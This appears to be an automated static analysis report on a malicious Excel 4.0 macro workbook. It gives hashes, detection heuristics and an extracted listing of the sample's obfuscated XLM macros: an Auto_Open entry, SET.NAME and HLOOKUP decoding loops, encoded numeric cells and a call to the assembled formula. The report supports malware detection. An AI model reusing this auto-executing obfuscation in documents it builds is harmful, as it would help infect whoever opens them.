Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b9d36c367f370be1…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:42:24 Authoring application: Microsoft Excel First seen: 2021-04-10
MD5: 767f3a72f17dc7591e82992f79fc151d SHA-1: 66295881d0dc60bee18451f6c81f03f719fa8881 SHA-256: b9d36c367f370be12068a8c851727ee6954ee6463f018fc298926f1afffff312
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6649 bytes
SHA-256: 9724ece1b3a54b281d71097971912e00ef70820aa2c4735234dab57bb16e2f7c
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  jNHFvs
' 0018     22 LABEL : Cell Value, String Constant - ahLcEXV len=0 
' 0018     23 LABEL : Cell Value, String Constant - AsdUPPam len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!D166 
' 0018     27 LABEL : Cell Value, String Constant - bqPXIcIngmFr len=0 
' 0018     24 LABEL : Cell Value, String Constant - caQraVGBk len=0 
' 0018     25 LABEL : Cell Value, String Constant - emJHBQlsmn len=0 
' 0018     20 LABEL : Cell Value, String Constant - eoiYc len=0 
' 0018     22 LABEL : Cell Value, String Constant - gDNAlFm len=0 
' 0018     20 LABEL : Cell Value, String Constant - GHyei len=0 
' 0018     21 LABEL : Cell Value, String Constant - GXxfmf len=0 
' 0018     26 LABEL : Cell Value, String Constant - LcxptaYhuEH len=0 
' 0018     24 LABEL : Cell Value, String Constant - lMJIjVrCP len=0 
' 0018     20 LABEL : Cell Value, String Constant - mSams len=0 
' 0018     27 LABEL : Cell Value, String Constant - PXhNyOfUJEBY len=0 
' 0018     21 LABEL : Cell Value, String Constant - rQmbgr len=0 
' 0018     27 LABEL : Cell Value, String Constant - SMjPJtIYAYRe len=0 
' 0018     21 LABEL : Cell Value, String Constant - uAyPqh len=0 
' 0018     21 LABEL : Cell Value, String Constant - VNWTJb len=0 
' 0018     25 LABEL : Cell Value, String Constant - WeCfSEVERr len=0 
' 0018     24 LABEL : Cell Value, String Constant - ylSoQjknW len=0 
' 0018     21 LABEL : Cell Value, String Constant - YRUgWx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  jNHFvs,D84,"SET.NAME("caQraVGBk",0+VALUE("0"))",""
'  jNHFvs,D86,"SET.NAME("emJHBQlsmn",caQraVGBk)",""
'  jNHFvs,D88,"SET.NAME("eoiYc",caQraVGBk)",""
'  jNHFvs,D90,"SET.NAME("LcxptaYhuEH",COUNTA(gDNAlFm))",""
'  jNHFvs,D93,"SET.NAME("VNWTJb",COUNTA(WeCfSEVERr))",""
'  jNHFvs,P94,"",-615.00000000000000000000
'  jNHFvs,P95,"",239.00000000000000000000
'  jNHFvs,P96,"",-377.00000000000000000000
'  jNHFvs,D97,[],""
'  jNHFvs,P97,"",383.00000000000000000000
'  jNHFvs,P98,"",707.00000000000000000000
'  jNHFvs,D99,"SET.NAME("ylSoQjknW","")",""
'  jNHFvs,P99,"",-908.00000000000000000000
'  jNHFvs,D101,"emJHBQlsmn",""
'  jNHFvs,D106,"SET.NAME("AsdUPPam",HLOOKUP("*",gDNAlFm,emJHBQlsmn,FALSE))",""
'  jNHFvs,D108,"rQmbgr",""
'  jNHFvs,D113,"SET.NAME("mSams",caQraVGBk)",""
'  jNHFvs,D115,[],""
'  jNHFvs,D120,"mSams",""
'  jNHFvs,D122,"GHyei",""
'  jNHFvs,D127,"YRUgWx",""
'  jNHFvs,D132,"GXxfmf",""
'  jNHFvs,D134,"SET.NAME("bqPXIcIngmFr",VALUE(HLOOKUP("*",WeCfSEVERr,GXxfmf,FALSE)))",""
'  jNHFvs,D137,"PXhNyOfUJEBY",""
'  jNHFvs,D141,"ylSoQjknW",""
'  jNHFvs,D146,"eoiYc",""
'  jNHFvs,D149,NEXT(),""
'  jNHFvs,D152,"uAyPqh",""
'  jNHFvs,D157,[],""
'  jNHFvs,D159,"lMJIjVrCP",""
'  jNHFvs,D161,NEXT(),""
'  jNHFvs,D164,RETURN(),""
'  jNHFvs,D190,"SET.NAME("ahLcEXV",D84)",""
'  jNHFvs,D192,"gDNAlFm",""
'  jNHFvs,D195,"SET.NAME("WeCfSEVERr",R46C11)",""
'  jNHFvs,D197,"SET.NAME("lMJIjVrCP",203)",""
'  jNHFvs,D199,"SET.NAME("SMjPJtIYAYRe",4)",""
'  jNHFvs,D202,ahLcEXV(),""
'  jNHFvs,D203,HALT(),""

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